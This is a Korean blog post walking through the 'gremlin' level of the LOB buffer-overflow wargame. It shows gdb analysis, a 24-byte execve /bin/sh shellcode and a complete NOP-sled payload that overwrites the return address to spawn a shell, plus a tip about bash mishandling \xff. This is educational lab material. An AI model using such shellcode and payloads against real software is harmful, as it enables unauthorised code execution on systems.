LOS에 이은 BOF시리즈 LOB를 풀어보자
우선 gate로 로그인한다
<gremlin.c>
이 C코드를 보니 버퍼의 크기는 256byte인것을 알 수 있고
buffer에 값이 입력되는 시기는 strcpy함수가 작동한 이후라는 것도 짚고 넘어가자
gremlin을 gdb로 접근할 권한이 없기에
test로 복사하여 gdb에 접근하자
buffer의 크기가 256byte고
SFP가 4byte니깐
쉘코드를 포함하여 260byte를 채우고 그 후에 ret주소를 넣는식으로 payload를 작성하면 될거 같다.
-------------------------------------------------------------------------------------------------
AT&T 문법을 intel 방식으로 바꾸는법
gdb 내에서
set disassembly-flavor intel
------------------------------------------------------------------------------------------------------------------------------------
여기서 버퍼의 주소를 알기위해서
버퍼에 값이 들어간 이후
즉, strcpy함수가 작동한 이후인
main+59
에 브레이크포인트를 걸어서 분석해보자
버퍼에 A를 넣어 대략 어디쯤부터 들어가는지 확인하였다.
0xbffff9c0
대략 이주소를 ret에 넣으면 될거 같다.
자! 그러면 이제 payload를 작성해보자
NOP을 한곳에 밀어넣는것보다 앞 뒤에 넣는것이 좋을 거 같아 앞 뒤에 넣어보자
쉘코드는
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
24byte짜리를 사용했다.
./gremlin `python -c 'print "\x90" * 200 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*36 + "\xc0\xf9\xff\xbf"'`
이 페이로드를 입력
잘된다 ㅎㅎ
-------------------------------------------------------------------------------------------------------------------------------
진짜 오랜시간 동안 이게 아까 계속 오류가 뜨고
쉘이 작동하지 않아서
상당히 힘들었었다...
그래서 찾다가 알아낸게
LOB는 bash를 사용하는데
이 bash는 \xff를 \x00(NULL)로 생각하여
그 이후의 값이 싸그리 무시된다...
그래서 항상 시작하기전에
bash2
를 입력한후 문제를 풀자
----------------------------------------------------------------------------------------------------------------------------------
이게 잘 안되서 RTL이라는 방법도 이용해보고
환경변수를 사용하는 방법도 해보았다
저 bash덕분에
공부를 할 수 있는 시간을 가질수 있어서
좋았다
...
위 방법들은 bash 변경후 시도해보지 않았는데
시도 후 성공하면
포스팅 해야겠다
'D. 시스템 > 실습' 카테고리의 다른 글
[LOB] 3번 goblin (0) | 2017.11.16 |
---|---|
[LOB] 2번 cobolt (0) | 2017.10.15 |
[C-LAB] EasyBOF (0) | 2017.10.13 |
[Pwnable.kr] bof (0) | 2017.10.13 |